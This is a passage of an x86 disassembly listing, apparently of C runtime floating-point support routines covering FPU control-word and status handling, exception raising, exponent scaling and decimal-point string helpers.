fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_414606
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_414120: ; CODE XREF: sub_4140A4+4Ej
; sub_4140A4+52j
push eax
call sub_41468E
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_414879
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4140A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41413C proc near ; CODE XREF: sub_4140A4+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_41416E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_41416E: ; CODE XREF: sub_41413C+23j
test cl, 2
jz short loc_414181
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_414181: ; CODE XREF: sub_41413C+35j
test cl, bl
jz short loc_414193
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_414193: ; CODE XREF: sub_41413C+47j
test cl, 4
jz short loc_4141A6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_4141A6: ; CODE XREF: sub_41413C+5Aj
test cl, 8
jz short loc_4141B9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4141B9: ; CODE XREF: sub_41413C+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_41485C
test al, bl
jz short loc_414242
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_414242: ; CODE XREF: sub_41413C+FDj
test al, 4
jz short loc_41424D
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_41424D: ; CODE XREF: sub_41413C+108j
test al, 8
jz short loc_414258
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_414258: ; CODE XREF: sub_41413C+113j
test al, 10h
jz short loc_414262
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_414262: ; CODE XREF: sub_41413C+11Ej
test al, 20h
jz short loc_41426C
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_41426C: ; CODE XREF: sub_41413C+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_4142AB
cmp eax, 400h
jz short loc_41429D
cmp eax, 800h
jz short loc_414291
cmp eax, ecx
jnz short loc_4142B1
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_4142B1
; ---------------------------------------------------------------------------
loc_414291: ; CODE XREF: sub_41413C+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_4142A7
; ---------------------------------------------------------------------------
loc_41429D: ; CODE XREF: sub_41413C+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_4142A7: ; CODE XREF: sub_41413C+15Fj
mov [eax], ecx
jmp short loc_4142B1
; ---------------------------------------------------------------------------
loc_4142AB: ; CODE XREF: sub_41413C+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_4142B1: ; CODE XREF: sub_41413C+14Bj
; sub_41413C+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_4142DC
cmp eax, 200h
jz short loc_4142CF
cmp eax, ecx
jnz short loc_4142E9
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_4142E9
; ---------------------------------------------------------------------------
loc_4142CF: ; CODE XREF: sub_41413C+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_4142E7
; ---------------------------------------------------------------------------
loc_4142DC: ; CODE XREF: sub_41413C+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_4142E7: ; CODE XREF: sub_41413C+19Ej
mov [eax], ecx
loc_4142E9: ; CODE XREF: sub_41413C+189j
; sub_41413C+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_41486A
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call ds:dword_41C16C ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_414363
and dword ptr [esi], 0FFFFFFFEh
loc_414363: ; CODE XREF: sub_41413C+222j
test byte ptr [eax+8], 8
jz short loc_41436C
and dword ptr [esi], 0FFFFFFFBh
loc_41436C: ; CODE XREF: sub_41413C+22Bj
test byte ptr [eax+8], 4
jz short loc_414375
and dword ptr [esi], 0FFFFFFF7h
loc_414375: ; CODE XREF: sub_41413C+234j
test byte ptr [eax+8], 2
jz short loc_41437E
and dword ptr [esi], 0FFFFFFEFh
loc_41437E: ; CODE XREF: sub_41413C+23Dj
test [eax+8], bl
jz short loc_414386
and dword ptr [esi], 0FFFFFFDFh
loc_414386: ; CODE XREF: sub_41413C+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_4143BA
dec ecx
jz short loc_4143AE
dec ecx
jz short loc_4143A4
dec ecx
jnz short loc_4143BC
or byte ptr [esi+1], 0Ch
jmp short loc_4143BC
; ---------------------------------------------------------------------------
loc_4143A4: ; CODE XREF: sub_41413C+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_4143B6
; ---------------------------------------------------------------------------
loc_4143AE: ; CODE XREF: sub_41413C+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_4143B6: ; CODE XREF: sub_41413C+270j
mov [esi], ecx
jmp short loc_4143BC
; ---------------------------------------------------------------------------
loc_4143BA: ; CODE XREF: sub_41413C+257j
and [esi], edx
loc_4143BC: ; CODE XREF: sub_41413C+260j
; sub_41413C+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_4143DC
dec ecx
jz short loc_4143D3
dec ecx
jnz short loc_4143E5
and [esi], edx
jmp short loc_4143E5
; ---------------------------------------------------------------------------
loc_4143D3: ; CODE XREF: sub_41413C+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_4143E3
; ---------------------------------------------------------------------------
loc_4143DC: ; CODE XREF: sub_41413C+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_4143E3: ; CODE XREF: sub_41413C+29Ej
mov [esi], ecx
loc_4143E5: ; CODE XREF: sub_41413C+291j
; sub_41413C+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41413C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143EF proc near ; CODE XREF: sub_4140A4+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_41441A
test byte ptr [ebp+arg_8], bl
jz short loc_41441A
push ebx
call sub_41489C
pop ecx
and edi, 0FFFFFFF7h
jmp loc_4145E4
; ---------------------------------------------------------------------------
loc_41441A: ; CODE XREF: sub_4143EF+15j
; sub_4143EF+1Aj
test al, 4
jz short loc_414434
test byte ptr [ebp+arg_8], 4
jz short loc_414434
push 4
call sub_41489C
pop ecx
and edi, 0FFFFFFFBh
jmp loc_4145E4
; ---------------------------------------------------------------------------
loc_414434: ; CODE XREF: sub_4143EF+2Dj
; sub_4143EF+33j
test al, bl
jz loc_41450E
test byte ptr [ebp+arg_8], 8
jz loc_41450E
push 8
call sub_41489C
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_4144E6
cmp ecx, 400h
jz short loc_4144BE
cmp ecx, 800h
jz short loc_414496
cmp ecx, eax
jnz loc_414506
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_41C790
fld ds:dbl_42E498
fnstsw ax
sahf
ja short loc_41448E
fchs
loc_41448E: ; CODE XREF: sub_4143EF+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_414504
; ---------------------------------------------------------------------------
loc_414496: ; CODE XREF: sub_4143EF+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_41C790
fnstsw ax
sahf
jbe short loc_4144AE
fld ds:dbl_42E488
jmp short loc_4144B6
; ---------------------------------------------------------------------------
loc_4144AE: ; CODE XREF: sub_4143EF+B5j
fld ds:dbl_42E498
fchs
loc_4144B6: ; CODE XREF: sub_4143EF+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_414504
; ---------------------------------------------------------------------------
loc_4144BE: ; CODE XREF: sub_4143EF+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_41C790
fnstsw ax
sahf
jbe short loc_4144D6
fld ds:dbl_42E498
jmp short loc_4144DE
; ---------------------------------------------------------------------------
loc_4144D6: ; CODE XREF: sub_4143EF+DDj
fld ds:dbl_42E488
fchs
loc_4144DE: ; CODE XREF: sub_4143EF+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_414504
; ---------------------------------------------------------------------------
loc_4144E6: ; CODE XREF: sub_4143EF+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_41C790
fld ds:dbl_42E488
fnstsw ax
sahf
ja short loc_4144FE
fchs
loc_4144FE: ; CODE XREF: sub_4143EF+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_414504: ; CODE XREF: sub_4143EF+A5j
; sub_4143EF+CDj ...
fstp qword ptr [ecx]
loc_414506: ; CODE XREF: sub_4143EF+81j
and edi, 0FFFFFFFEh
jmp loc_4145E4
; ---------------------------------------------------------------------------
loc_41450E: ; CODE XREF: sub_4143EF+47j
; sub_4143EF+51j
test al, 2
jz loc_4145E4
test byte ptr [ebp+arg_8], 10h
jz loc_4145E4
push esi
xor esi, esi
test al, 10h
jz short loc_414529
mov esi, ebx
loc_414529: ; CODE XREF: sub_4143EF+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp ds:dbl_41C790
fnstsw ax
sahf
jz loc_4145D2
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_41479B
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_414574
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_4145C8
; ---------------------------------------------------------------------------
loc_414574: ; CODE XREF: sub_4143EF+17Aj
fld [ebp+var_C]
fcomp ds:dbl_41C790
fnstsw ax
sahf
jnb short loc_414586
mov edx, ebx
jmp short loc_414588
; ---------------------------------------------------------------------------
loc_414586: ; CODE XREF: sub_4143EF+191j
xor edx, edx
loc_414588: ; CODE XREF: sub_4143EF+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_4145BC
sub eax, ecx
loc_41459F: ; CODE XREF: sub_4143EF+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_4145AA
test esi, esi
jnz short loc_4145AA
mov esi, ebx
loc_4145AA: ; CODE XREF: sub_4143EF+1B3j
; sub_4143EF+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_4145B6
or byte ptr [ebp+var_C+3], 80h
loc_4145B6: ; CODE XREF: sub_4143EF+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_41459F
loc_4145BC: ; CODE XREF: sub_4143EF+1ACj
test edx, edx
jz short loc_4145C8
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_4145C8: ; CODE XREF: sub_4143EF+183j
; sub_4143EF+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_4145D4
; ---------------------------------------------------------------------------
loc_4145D2: ; CODE XREF: sub_4143EF+14Ej
mov esi, ebx
loc_4145D4: ; CODE XREF: sub_4143EF+1E1j
test esi, esi
pop esi
jz short loc_4145E1
push 10h
call sub_41489C
pop ecx
loc_4145E1: ; CODE XREF: sub_4143EF+1E8j
and edi, 0FFFFFFFDh
loc_4145E4: ; CODE XREF: sub_4143EF+26j
; sub_4143EF+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_4145FB
test byte ptr [ebp+arg_8], 20h
jz short loc_4145FB
push 20h
call sub_41489C
pop ecx
and edi, 0FFFFFFEFh
loc_4145FB: ; CODE XREF: sub_4143EF+1F9j
; sub_4143EF+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_4143EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_414606(int,int,int,int,int,int,double,int)
sub_414606 proc near ; CODE XREF: sub_414051+2Bp
; sub_4140A4+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_4146B4
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_414671
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_414879
lea eax, [ebp+var_20]
push eax
call sub_41822D
add esp, 0Ch
test eax, eax
jnz short loc_41466B
push esi
call sub_41468E
pop ecx
loc_41466B: ; CODE XREF: sub_414606+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_414671: ; CODE XREF: sub_414606+14j
push 0FFFFh
push [ebp+arg_20]
call sub_414879
push [ebp+arg_0]
call sub_41468E
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_414606 endp
; =============== S U B R O U T I N E =======================================
sub_41468E proc near ; CODE XREF: sub_4140A4+7Dp
; sub_414606+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_4146A9
jle short locret_4146B3
cmp eax, 3
jg short locret_4146B3
mov ds:dword_45F844, 22h
retn
; ---------------------------------------------------------------------------
loc_4146A9: ; CODE XREF: sub_41468E+7j
mov ds:dword_45F844, 21h
locret_4146B3: ; CODE XREF: sub_41468E+9j
; sub_41468E+Ej
retn
sub_41468E endp
; =============== S U B R O U T I N E =======================================
sub_4146B4 proc near ; CODE XREF: sub_414606+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_42E3B0
loc_4146BB: ; CODE XREF: sub_4146B4+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_4146D1
add eax, 8
inc ecx
cmp eax, offset dbl_42E488
jl short loc_4146BB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4146D1: ; CODE XREF: sub_4146B4+Dj
mov eax, ds:off_42E3B4[ecx*8]
retn
sub_4146B4 endp
; =============== S U B R O U T I N E =======================================
sub_4146D9 proc near ; CODE XREF: sub_4140A4+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_4146E5
push 5
jmp short loc_4146FB
; ---------------------------------------------------------------------------
loc_4146E5: ; CODE XREF: sub_4146D9+6j
test al, 8
jz short loc_4146ED
push 1
jmp short loc_4146FB
; ---------------------------------------------------------------------------
loc_4146ED: ; CODE XREF: sub_4146D9+Ej
test al, 4
jz short loc_4146F5
push 2
jmp short loc_4146FB
; ---------------------------------------------------------------------------
loc_4146F5: ; CODE XREF: sub_4146D9+16j
test al, 1
jz short loc_4146FD
push 3
loc_4146FB: ; CODE XREF: sub_4146D9+Aj
; sub_4146D9+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_4146FD: ; CODE XREF: sub_4146D9+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_4146D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_414706(double)
sub_414706 proc near ; CODE XREF: sub_410CB2:loc_410D38p
; sub_410DFB:loc_410E81p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_414706 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_414718(double,int)
sub_414718 proc near ; CODE XREF: sub_41479B+82p
; sub_41479B+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_414718 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414741 proc near ; CODE XREF: sub_410CB2+31p
; sub_410DFB+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_414758
cmp [ebp+arg_0], edx
jnz short loc_41476A
push 1
jmp short loc_414794
; ---------------------------------------------------------------------------
loc_414758: ; CODE XREF: sub_414741+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_41476A
cmp [ebp+arg_0], edx
jnz short loc_41476A
push 2
jmp short loc_414794
; ---------------------------------------------------------------------------
loc_41476A: ; CODE XREF: sub_414741+11j
; sub_414741+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_41477D
push 3
jmp short loc_414794
; ---------------------------------------------------------------------------
loc_41477D: ; CODE XREF: sub_414741+36j
cmp cx, 7FF0h
jnz short loc_414797
test [ebp+arg_4], 7FFFFh
jnz short loc_414792
cmp [ebp+arg_0], edx
jz short loc_414797
loc_414792: ; CODE XREF: sub_414741+4Aj
push 4
loc_414794: ; CODE XREF: sub_414741+15j
; sub_414741+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414797: ; CODE XREF: sub_414741+41j
; sub_414741+4Fj
xor eax, eax
pop ebp
retn
sub_414741 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41479B(double,int)
sub_41479B proc near ; CODE XREF: sub_4143EF+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp ds:dbl_41C790
push esi
fnstsw ax
sahf
jnz short loc_4147BB
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_414851
; ---------------------------------------------------------------------------
loc_4147BB: ; CODE XREF: sub_41479B+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_41482A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_4147D3
cmp dword ptr [ebp+arg_0], ecx
jz short loc_41482A
loc_4147D3: ; CODE XREF: sub_41479B+31j
fld [ebp+arg_0]
fcomp ds:dbl_41C790
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_4147EB
push 1
pop eax
jmp short loc_4147ED
; ---------------------------------------------------------------------------
loc_4147EB: ; CODE XREF: sub_41479B+49j
xor eax, eax
loc_4147ED: ; CODE XREF: sub_41479B+4Ej
; sub_41479B+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_414806
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_414800
or dword ptr [ebp+arg_0+4], 1
loc_414800: ; CODE XREF: sub_41479B+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_4147ED
; ---------------------------------------------------------------------------
loc_414806: ; CODE XREF: sub_41479B+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_414814
or byte ptr [ebp+arg_0+7], 80h
loc_414814: ; CODE XREF: sub_41479B+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_414718
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_414851
; ---------------------------------------------------------------------------
loc_41482A: ; CODE XREF: sub_41479B+28j
; sub_41479B+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_414718
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_414851: ; CODE XREF: sub_41479B+1Bj
; sub_41479B+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_41479B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41485C proc near ; CODE XREF: sub_41413C+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_41485C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41486A proc near ; CODE XREF: sub_41413C+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_41486A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414879 proc near ; CODE XREF: sub_410CB2+13p
; sub_410CB2+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_414879 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41489C proc near ; CODE XREF: sub_4143EF+1Dp
; sub_4143EF+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_4148B3
fld ds:tbyte_42E4B0
fistp [ebp+arg_0]
wait
loc_4148B3: ; CODE XREF: sub_41489C+Bj
test cl, 8
jz short loc_4148C8
fstsw ax
fld ds:tbyte_42E4B0
fstp [ebp+var_8]
wait
fstsw ax
loc_4148C8: ; CODE XREF: sub_41489C+1Aj
test cl, 10h
jz short loc_4148D7
fld ds:tbyte_42E4BC
fstp [ebp+var_8]
wait
loc_4148D7: ; CODE XREF: sub_41489C+2Fj
test cl, 4
jz short loc_4148E5
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_4148E5: ; CODE XREF: sub_41489C+3Ej
test cl, 20h
jz short locret_4148F0
fldpi
fstp [ebp+var_8]
wait
locret_4148F0: ; CODE XREF: sub_41489C+4Cj
leave
retn
sub_41489C endp
; =============== S U B R O U T I N E =======================================
sub_4148F2 proc near ; CODE XREF: sub_410D81+Fp
push 30000h
push 10000h
call sub_418265
pop ecx
pop ecx
retn
sub_4148F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414904 proc near ; CODE XREF: sub_414942:loc_414966j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld ds:dbl_41C7A0
fstp [ebp+var_8]
fld ds:dbl_41C798
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp ds:dbl_41C650
fnstsw ax
sahf
jbe short loc_41493E
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_41493E: ; CODE XREF: sub_414904+33j
xor eax, eax
leave
retn
sub_414904 endp
; =============== S U B R O U T I N E =======================================
sub_414942 proc near ; CODE XREF: sub_410D81+5p
push offset aKernel32 ; "KERNEL32"
call near ptr 0D20004h
wait
test eax, eax
jz short loc_414966
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call ds:dword_41C0B0
test eax, eax
jz short loc_414966
push 0
call eax
retn
; ---------------------------------------------------------------------------
loc_414966: ; CODE XREF: sub_414942+Dj
; sub_414942+1Dj
jmp sub_414904
sub_414942 endp
; =============== S U B R O U T I N E =======================================
sub_41496B proc near ; CODE XREF: sub_412C3C+3CBp
; DATA XREF: sub_410D99+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_412027
cmp eax, 65h
pop ecx
jz short loc_4149AB
loc_41497F: ; CODE XREF: sub_41496B+3Ej
inc esi
cmp ds:dword_42E39C, 1
jle short loc_414998
movsx eax, byte ptr [esi]
push 4
push eax
call sub_413446
pop ecx
pop ecx
jmp short loc_4149A7
; ---------------------------------------------------------------------------
loc_414998: ; CODE XREF: sub_41496B+1Cj
movsx eax, byte ptr [esi]
mov ecx, ds:off_42E190
mov al, [ecx+eax*2]
and eax, 4
loc_4149A7: ; CODE XREF: sub_41496B+2Bj
test eax, eax
jnz short loc_41497F
loc_4149AB: ; CODE XREF: sub_41496B+12j
mov cl, ds:byte_42E3A0
mov al, [esi]
mov [esi], cl
inc esi
loc_4149B6: ; CODE XREF: sub_41496B+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_4149B6
pop esi
retn
sub_41496B endp
; =============== S U B R O U T I N E =======================================
sub_4149C5 proc near ; CODE XREF: sub_412C3C+3E2p
; DATA XREF: sub_410D99+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, ds:byte_42E3A0
mov cl, [eax]
test cl, cl
jz short loc_4149E1
loc_4149D5: ; CODE XREF: sub_4149C5+1Aj
cmp cl, dl
jz short loc_4149E1
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_4149D5
loc_4149E1: ; CODE XREF: sub_4149C5+Ej
; sub_4149C5+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_414A12
